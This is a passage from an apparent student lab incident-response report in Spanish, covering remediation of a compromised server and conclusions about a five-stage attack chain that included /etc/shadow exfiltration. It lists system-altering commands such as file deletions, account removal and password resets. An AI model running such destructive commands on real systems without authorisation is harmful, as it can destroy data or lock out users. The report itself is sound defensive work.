| 2  | ufw deny out to 192.168.1.100           | Cortar C2 antes de limpiar                   | Regla DENY OUT añadida y verificada           |
| 3  | Documentar cron sys-maintenance         | Evidencia antes de eliminar                  | Contenido malicioso confirmado                |
| 4  | rm -f /etc/cron.d/sys-maintenance       | Eliminar mecanismo de ejecución recurrente   | Cron eliminado — No such file                 |
| 5  | rm -f /usr/local/bin/backup2.sh         | Eliminar script de exfiltración              | Eliminado — confirmado                        |
| 6  | rm -f /home/reports/install.sh          | Eliminar dropper inicial                     | Eliminado — confirmado                        |
| 7  | rm -f /tmp/secrets.tgz                  | Eliminar archivo de credenciales             | Eliminado — confirmado                        |
| 8  | Investigar cuentas hacker / reports     | Justificar decisión antes de actuar          | hacker=backdoor, reports=víctima              |
| 9  | userdel -r hacker                       | Eliminar cuenta backdoor no autorizada       | 'no such user' confirmado                     |
| 10 | passwd reports                          | Restablecer cuenta comprometida por IS       | password updated successfully                 |
| 11 | passwd root + sysadmin                  | /etc/shadow exfiltrado — cambio obligatorio  | Contraseñas restablecidas                     |
| 12 | systemctl stop/disable vsftpd + apache2 | Reducir superficie de ataque                 | inactive (dead) y disabled                    |
| 13 | PermitRootLogin no en sshd_config       | Eliminar acceso root directo vía SSH         | SSH reiniciado y verified running             |
| 14 | Búsqueda de persistencia adicional      | Verificar que no queda persistencia residual | Sin hallazgos adicionales                     |
| 15 | Verificación final de integridad        | Confirmar estado limpio del sistema          | 24 servicios, solo puerto 22, DENY OUT activo |



## 8. Conclusiones

---

El servidor **4geeks-server-lab** sufrió un compromiso completo mediante una cadena de ataque de cinco etapas que combinó fuerza bruta SSH, ingeniería social, instalación de dropper, persistencia con privilegios de root y exfiltración periódica de credenciales del sistema. La exfiltración de **/etc/shadow** fue confirmada mediante evidencia directa (backup.log y secrets.tgz), lo que significó que todos los hashes de contraseñas del sistema estuvieron en manos del atacante.

La respuesta al incidente cubrió los cuatro objetivos definidos para la Fase 2: evaluación de hallazgos con decisiones justificadas, eliminación completa de persistencia maliciosa, verificación de integridad del sistema y fortalecimiento de la configuración de seguridad. La búsqueda exhaustiva de persistencia adicional no reveló artefactos más allá de los ya identificados, lo que permite concluir con alta confianza que el sistema ha recuperado su estado seguro.

El hallazgo más relevante de este incidente desde una perspectiva de seguridad organizacional es que el vector de entrada principal fue **humano**, no técnico. El usuario **reports** ejecutó un script enviado por un correo externo no verificado porque el mensaje era convincente. Ningún control técnico por sí solo habría impedido esto: **la capacitación en ingeniería social es la recomendación más crítica de este informe.**

---